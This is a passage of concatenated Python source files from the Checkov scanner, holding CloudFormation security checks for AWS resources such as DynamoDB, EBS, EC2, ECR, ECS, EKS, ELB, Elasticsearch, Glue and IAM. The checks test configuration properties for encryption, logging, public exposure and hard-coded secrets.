DynamoDB point in time recovery (backup) is enabled" id = "CKV_AWS_28" supported_resources = ['AWS::DynamoDB::Table'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/PointInTimeRecoverySpecification/PointInTimeRecoveryEnabled' check = DynamodbRecovery() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EBSDefaultEncryption.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/158 # # check_id: CKV_AWS_106 ================================================ FILE: checkov/cloudformation/checks/resource/aws/EBSEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class EBSEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the EBS is securely encrypted" id = "CKV_AWS_3" supported_resources = ("AWS::EC2::Volume",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/Encrypted" check = EBSEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EC2Credentials.py ================================================ from typing import List from base64 import b64decode from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.secrets import AWS, GENERAL, get_secrets_from_string class EC2Credentials(BaseResourceCheck): def __init__(self): name = "Ensure no hard-coded secrets exist in EC2 user data" id = "CKV_AWS_46" supported_resources = ['AWS::EC2::Instance'] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'Properties' in conf.keys(): if 'UserData' in conf['Properties'].keys(): user_data = conf['Properties']['UserData'] # In some case, the UserData might be a base64 encoded string which will slow down (3 minutes) # the get_secrets_from_string function. try: user_data_str = b64decode(user_data).decode() except Exception: # Cast to string as user data object can look slightly different depending # on Yaml or JSON CF Templates and how the B64 conversion is done. user_data_str = str(user_data) if isinstance(user_data_str, str): secrets = get_secrets_from_string(str(user_data_str), GENERAL, AWS) if secrets: for idx, secret in enumerate(secrets): conf[f'{self.id}_secret_{idx}'] = secret return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["Properties/UserData"] check = EC2Credentials() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EC2PublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class EC2PublicIP(BaseResourceCheck): def __init__(self) -> None: name = "EC2 instance should not have public IP." id = "CKV_AWS_88" supported_resources = ('AWS::EC2::Instance', 'AWS::EC2::LaunchTemplate') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ['Properties'] properties = conf.get('Properties') if properties: # For AWS::EC2::Instance if 'NetworkInterfaces' in properties.keys(): network_interfaces = properties['NetworkInterfaces'] if isinstance(network_interfaces, list): for idx, network_interface in enumerate(network_interfaces): if 'AssociatePublicIpAddress' in network_interface.keys(): if network_interface['AssociatePublicIpAddress'] is True: self.evaluated_keys = [f'Properties/NetworkInterfaces/[{idx}]/AssociatePublicIpAddress'] return CheckResult.FAILED else: # If not made explicit then default is true if default subnet and false otherwise. # This info can not be derived from template so result is unknown. # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-network-iface-embedded.html#Properties%23AssociatePublicIpAddress return CheckResult.UNKNOWN # For 'AWS::EC2::LaunchTemplate' if 'LaunchTemplateData' in properties.keys(): if 'NetworkInterfaces' in properties['LaunchTemplateData'].keys(): network_interfaces = properties['LaunchTemplateData']['NetworkInterfaces'] if isinstance(network_interfaces, list): for idx, network_interface in enumerate(network_interfaces): if 'AssociatePublicIpAddress' in network_interface.keys(): if network_interface['AssociatePublicIpAddress'] is True: self.evaluated_keys = [f'Properties/LaunchTemplateData/NetworkInterfaces/[{idx}]/AssociatePublicIpAddress'] return CheckResult.FAILED else: return CheckResult.UNKNOWN return CheckResult.PASSED check = EC2PublicIP() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECRImageScanning.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ECRImageScanning(BaseResourceValueCheck): def __init__(self): name = "Ensure ECR image scanning on push is enabled" id = "CKV_AWS_163" supported_resources = ["AWS::ECR::Repository"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "Properties/ImageScanningConfiguration/ScanOnPush" check = ECRImageScanning() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ECRImmutableTags(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure ECR Image Tags are immutable" id = "CKV_AWS_51" supported_resources = ("AWS::ECR::Repository",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/ImageTagMutability" def get_expected_value(self) -> Any: return "IMMUTABLE" check = ECRImmutableTags() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECRPolicy.py ================================================ from __future__ import annotations import json import logging import re from typing import Any from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.consts import SLS_DEFAULT_VAR_PATTERN from checkov.common.models.enums import CheckResult, CheckCategories class ECRPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure ECR policy is not set to public" id = "CKV_AWS_32" supported_resources = ("AWS::ECR::Repository",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ Looks for public * policy for ecr repository: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecr-repository.html :param conf: aws_ecr_repository configuration :return: """ self.evaluated_keys = ["Properties/RepositoryPolicyText/Statement"] properties = conf.get("Properties") if not properties or not isinstance(properties, dict): return CheckResult.PASSED policy_text = properties.get("RepositoryPolicyText") if not policy_text: return CheckResult.PASSED if isinstance(policy_text, str): try: policy_text = json.loads(str(policy_text)) except json.decoder.JSONDecodeError as e: if re.match(SLS_DEFAULT_VAR_PATTERN, str(policy_text)): # Case where the template is a sub-CFN configuration inside a serverless configuration, # and the policy is a variable expression logging.info(f"Encountered variable expression {str(policy_text)} in resource ${self.entity_path}") else: logging.error( f"Malformed policy configuration {str(policy_text)} of resource {self.entity_path}\n{e}" ) return CheckResult.UNKNOWN if "Statement" in policy_text.keys() and isinstance(policy_text["Statement"], list): for statement_index, statement in enumerate(policy_text["Statement"]): if "Principal" in statement.keys(): principal_block = statement["Principal"] evaluated_key = f"Properties/RepositoryPolicyText/Statement/[{statement_index}]/Principal" if isinstance(principal_block, dict) and 'AWS' in principal_block: principal_block = principal_block['AWS'] evaluated_key += "/AWS" for principal_index, principal in enumerate(principal_block): if principal == "*" and not self.check_for_constrained_condition(statement): if isinstance(principal_block, list): self.evaluated_keys = [f"{evaluated_key}/[{principal_index}]/"] else: self.evaluated_keys = [f"{evaluated_key}"] return CheckResult.FAILED return CheckResult.PASSED def check_for_constrained_condition(self, statement: dict[str, Any]) -> bool: """ Checks to see if there is a constraint on a a wildcarded principal :param statement: statement from aws_repository_configuration :return: true if there is a constraint """ if "Condition" in statement: condition = statement["Condition"] string_equals = None if "StringEquals" in condition: string_equals = condition["StringEquals"] elif "ForAllValues:StringEquals" in condition: string_equals = condition["ForAllValues:StringEquals"] elif "ForAnyValue:StringEquals" in condition: string_equals = condition["ForAnyValue:StringEquals"] if isinstance(string_equals, dict) and "aws:PrincipalOrgID" in string_equals: return True return False check = ECRPolicy() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ECRRepositoryEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that ECR repositories are encrypted using KMS" id = "CKV_AWS_136" supported_resources = ("AWS::ECR::Repository",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/EncryptionConfiguration/EncryptionType" def get_expected_value(self) -> Any: return "KMS" check = ECRRepositoryEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ECSClusterContainerInsights(BaseResourceCheck): def __init__(self) -> None: name = "Ensure container insights are enabled on ECS cluster" id = "CKV_AWS_65" supported_resources = ("AWS::ECS::Cluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ Looks for container insights configuration on ECS cluster: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-cluster.html#cfn-ecs-cluster-clustersettings :param conf: AWS::ECS::Cluster configuration :return: """ self.evaluated_keys = ["Properties"] properties = conf.get("Properties") if properties and isinstance(properties, dict): settings = properties.get("ClusterSettings") if settings and isinstance(settings, list): self.evaluated_keys = ["Properties/ClusterSettings"] for setting in settings: if setting["Name"] == "containerInsights" and setting["Value"] in ["enhanced", "enabled"]: return CheckResult.PASSED return CheckResult.FAILED check = ECSClusterContainerInsights() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ECSTaskDefinitionEFSVolumeEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions" id = "CKV_AWS_97" supported_resources = ("AWS::ECS::TaskDefinition",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("Properties") if properties and isinstance(properties, dict): self.evaluated_keys = ["Properties"] volumes = properties.get("Volumes") if volumes and isinstance(volumes, list): self.evaluated_keys = ["Properties/Volumes"] for idx, volume in enumerate(volumes): efs_config = volume.get("EFSVolumeConfiguration") if efs_config and isinstance(efs_config, dict): self.evaluated_keys = [f"Properties/Volumes/[{idx}]/EFSVolumeConfiguration"] if efs_config.get("TransitEncryption") == "ENABLED": return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.PASSED check = ECSTaskDefinitionEFSVolumeEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EFSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure EFS is securely encrypted" id = "CKV_AWS_42" supported_resources = ['AWS::EFS::FileSystem'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/Encrypted' check = EFSEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EKSControlPlaneLogging.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py # # https://github.com/aws/containers-roadmap/issues/242 # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/208 ================================================ FILE: checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class EKSNodeGroupRemoteAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0" id = "CKV_AWS_100" supported_resources = ('AWS::EKS::Nodegroup',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if 'Properties' in conf.keys(): if 'RemoteAccess' in conf['Properties'].keys(): if 'Ec2SshKey' in conf['Properties']['RemoteAccess'].keys(): if 'SourceSecurityGroups' in conf['Properties']['RemoteAccess'].keys(): return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["Properties/RemoteAccess/Ec2SshKey", "Properties/RemoteAccess/SourceSecurityGroups"] check = EKSNodeGroupRemoteAccess() ================================================ FILE: checkov/cloudformation/checks/resource/aws/EKSPublicAccess.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSPublicAccess.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/118 ================================================ FILE: checkov/cloudformation/checks/resource/aws/EKSPublicAccessCIDR.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/118 ================================================ FILE: checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class EKSSecretsEncryption(BaseResourceCheck): def __init__(self): name = "Ensure EKS Cluster has Secrets Encryption Enabled" id = "CKV_AWS_58" supported_resources = ['AWS::EKS::Cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for eks secrets encryption https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-eks-cluster-encryptionconfig.html :param conf: AWS::EKS::Cluster configuration :return: """ encryption_config = list(conf.get('Properties', {}).get('EncryptionConfig', [])) encryption_config_resources = [p["Resources"] for p in encryption_config if "Resources" in p] if isinstance(encryption_config_resources, list) and any('secrets' in r for r in encryption_config_resources): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["Properties/EncryptionConfig/Resources"] check = EKSSecretsEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ELBAccessLogs(BaseResourceValueCheck): def __init__(self): name = "Ensure the ELB has access logging enabled" id = "CKV_AWS_92" supported_resources = ['AWS::ElasticLoadBalancing::LoadBalancer'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/AccessLoggingPolicy/Enabled' check = ELBAccessLogs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ELBv2AccessLogs(BaseResourceCheck): def __init__(self): name = "Ensure the ELBv2 (Application/Network) has access logging enabled" id = "CKV_AWS_91" supported_resources = ['AWS::ElasticLoadBalancingV2::LoadBalancer'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'Properties' in conf.keys(): self.evaluated_keys = ['Properties'] if 'LoadBalancerAttributes' in conf['Properties'].keys(): self.evaluated_keys = ['Properties/LoadBalancerAttributes'] if isinstance(conf['Properties']['LoadBalancerAttributes'], list): for item in conf['Properties']['LoadBalancerAttributes']: if 'Key' in item.keys() and 'Value' in item.keys(): if item['Key'] == "access_logs.s3.enabled": value = item['Value'] if isinstance(value, bool): value = str(value).lower() if value == "true": return CheckResult.PASSED return CheckResult.FAILED check = ELBv2AccessLogs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticacheReplicationGroupEncryptionAtRest(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest" id = "CKV_AWS_29" supported_resources = ['AWS::ElastiCache::ReplicationGroup'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/AtRestEncryptionEnabled' check = ElasticacheReplicationGroupEncryptionAtRest() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticacheReplicationGroupEncryptionAtTransit(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit" id = "CKV_AWS_30" supported_resources = ("AWS::ElastiCache::ReplicationGroup",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/TransitEncryptionEnabled" check = ElasticacheReplicationGroupEncryptionAtTransit() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ElasticacheReplicationGroupEncryptionAtTransitAuthToken(BaseResourceCheck): def __init__(self) -> None: name = "Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token" id = "CKV_AWS_31" supported_resources = ("AWS::ElastiCache::ReplicationGroup",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ Looks for encryption configuration at aws_elasticache_replication_group: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticache-replicationgroup.html :param conf: aws_elasticache_replication_group configuration :return: """ properties = conf. get("Properties") if properties and isinstance(properties, dict): if "TransitEncryptionEnabled" in properties.keys() and ("AuthToken" in properties.keys() or "UserGroupIds" in properties.keys()): if conf["Properties"]["TransitEncryptionEnabled"]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["Properties", "Properties/TransitEncryptionEnabled", "Properties/AuthToken", "Properties/UserGroupIds"] check = ElasticacheReplicationGroupEncryptionAtTransitAuthToken() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchDomainAuditLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Elasticsearch Domain Audit Logging is enabled" id = "CKV_AWS_317" supported_resources = ("AWS::Elasticsearch::Domain", "AWS::OpenSearchService::Domain") categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/LogPublishingOptions/AUDIT_LOGS/Enabled" check = ElasticsearchDomainAuditLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchDomainEnforceHTTPS(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Elasticsearch Domain enforces HTTPS" id = "CKV_AWS_83" supported_resources = ("AWS::Elasticsearch::Domain",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/DomainEndpointOptions/EnforceHTTPS" check = ElasticsearchDomainEnforceHTTPS() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ElasticsearchDomainLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Elasticsearch Domain Logging is enabled" id = "CKV_AWS_84" supported_resources = ("AWS::Elasticsearch::Domain", "AWS::OpenSearchService::Domain") categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("Properties") if properties: self.evaluated_keys = ["Properties"] options = properties.get("LogPublishingOptions") if options: self.evaluated_keys = ["Properties/LogPublishingOptions"] for option_conf in options.values(): if isinstance(option_conf, dict) and option_conf.get("Enabled"): return CheckResult.PASSED return CheckResult.FAILED check = ElasticsearchDomainLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the Elasticsearch is securely encrypted at rest" id = "CKV_AWS_5" supported_resources = ['AWS::Elasticsearch::Domain'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/EncryptionAtRestOptions/Enabled' check = ElasticsearchEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class ElasticsearchNodeToNodeEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all Elasticsearch has node-to-node encryption enabled" id = "CKV_AWS_6" supported_resources = ("AWS::Elasticsearch::Domain",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/NodeToNodeEncryptionOptions/Enabled" check = ElasticsearchNodeToNodeEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py ================================================ # CloudFormation does not currently support. # # September 2021 # # https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py # # https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/922 ================================================ FILE: checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class GlueDataCatalogEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Glue Data Catalog Encryption is enabled" id = "CKV_AWS_94" supported_resources = ['AWS::Glue::DataCatalogEncryptionSettings'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: connection_encrypted = False encrypted_at_rest = False if 'Properties' in conf.keys(): self.evaluated_keys = ['Properties'] if 'DataCatalogEncryptionSettings' in conf['Properties'].keys(): self.evaluated_keys = ['Properties/DataCatalogEncryptionSettings'] dc_enc_settings = conf['Properties']['DataCatalogEncryptionSettings'] if 'ConnectionPasswordEncryption' in dc_enc_settings.keys(): con_pass_enc = dc_enc_settings['ConnectionPasswordEncryption'] if 'ReturnConnectionPasswordEncrypted' in con_pass_enc.keys(): if con_pass_enc['ReturnConnectionPasswordEncrypted'] is True: connection_encrypted = True if 'EncryptionAtRest' in dc_enc_settings.keys(): enc_at_rest = dc_enc_settings['EncryptionAtRest'] if 'CatalogEncryptionMode' in enc_at_rest.keys(): if enc_at_rest['CatalogEncryptionMode'] == "SSE-KMS": encrypted_at_rest = True if connection_encrypted and encrypted_at_rest: return CheckResult.PASSED return CheckResult.FAILED check = GlueDataCatalogEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class GlueSecurityConfiguration(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Glue Security Configuration Encryption is enabled" id = "CKV_AWS_99" supported_resources = ('AWS::Glue::SecurityConfiguration',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: s3_enc = False cw_enc = False book_enc = False if 'Properties' in conf.keys(): self.evaluated_keys = ['Properties'] if 'EncryptionConfiguration' in conf['Properties'].keys(): self.evaluated_keys = ['Properties/EncryptionConfiguration'] enc_conf = conf['Properties']['EncryptionConfiguration'] if 'CloudWatchEncryption' in enc_conf.keys(): if 'CloudWatchEncryptionMode' in enc_conf['CloudWatchEncryption'].keys(): if enc_conf['CloudWatchEncryption']['CloudWatchEncryptionMode'] != 'DISABLED': cw_enc = True if 'JobBookmarksEncryption' in enc_conf.keys(): if 'JobBookmarksEncryptionMode' in enc_conf['JobBookmarksEncryption'].keys(): if enc_conf['JobBookmarksEncryption']['JobBookmarksEncryptionMode'] != 'DISABLED': book_enc = True if 'S3Encryptions' in enc_conf.keys(): for s3_encryption in force_list(enc_conf['S3Encryptions']): if 'S3EncryptionMode' in s3_encryption.keys(): if s3_encryption['S3EncryptionMode'] != 'DISABLED': s3_enc = True break if s3_enc and cw_enc and book_enc: return CheckResult.PASSED return CheckResult.FAILED check = GlueSecurityConfiguration() ================================================ FILE: checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class GlueSecurityConfigurationEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Glue component has a security configuration associated" id = "CKV_AWS_195" supported_resources = ("AWS::Glue::Crawler", "AWS::Glue::DevEndpoint", "AWS::Glue::Job") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: if self.entity_type == "AWS::Glue::Crawler": return "Properties/CrawlerSecurityConfiguration" elif self.entity_type in ("AWS::Glue::DevEndpoint", "AWS::Glue::Job"): return "Properties/SecurityConfiguration" return "" def get_expected_value(self) -> Any: return ANY_VALUE check = GlueSecurityConfigurationEnabled() ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py ================================================ from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list class IAMAdminPolicyDocument(BaseResourceCheck): def __init__(self): name = "Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created" id = "CKV_AWS_62" supported_resources = ['AWS::IAM::Policy', 'AWS::IAM::Group', 'AWS::IAM::Role', 'AWS::IAM::User'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): my_properties = conf.get("Properties") type = conf['Type'] # catch for inline policies if isinstance(my_properties, dict) and type != 'AWS::IAM::Policy': self.evaluated_keys = ['Properties'] if 'Policies' in my_properties.keys(): self.evaluated_keys = ['Properties/Policies'] policies = my_properties['Policies'] if len(policies) > 0: for idx, policy in enumerate(policies): if not isinstance(policy, dict): return CheckResult.UNKNOWN if policy.get('PolicyDocument'): self.evaluated_keys = [f'Properties/Policies/[{idx}]/PolicyDocument'] result = check_policy(policy['PolicyDocument']) if result == CheckResult.FAILED: return result return CheckResult.PASSED # not empty and had non failing policies return CheckResult.UNKNOWN # this is just for Policy resources if isinstance(my_properties, dict) and 'PolicyDocument' in my_properties.keys(): self.evaluated_keys = ['Properties/PolicyDocument'] return check_policy(my_properties['PolicyDocument']) return CheckResult.UNKNOWN check = IAMAdminPolicyDocument() def check_policy(policy_block): if policy_block and isinstance(policy_block, dict) and 'Statement' in policy_block.keys(): for statement in force_list(policy_block['Statement']): if 'Action' in statement: effect = statement.get('Effect', 'Allow') action = force_list(statement.get('Action', [''])) resource = force_list(statement.get('Resource', [''])) if effect == 'Allow' and '*' in action and '*' in resource: return CheckResult.FAILED return CheckResult.PASSED else: return CheckResult.PASSED ================================================ FILE: checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.cloudformation.checks.resource.BaseCloudsplainingIAMCheck import BaseCloudsplainingIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class cloudsplainingCredentialsExposure(BaseCloudsplainingIAMCheck): excluded_actions = { # noqa: CCE003 # a static attribute "ecr:GetAuthorizationToken" } def __init__(self) -> None: name = "Ensure IAM policies does not allow credentials exposure" id = 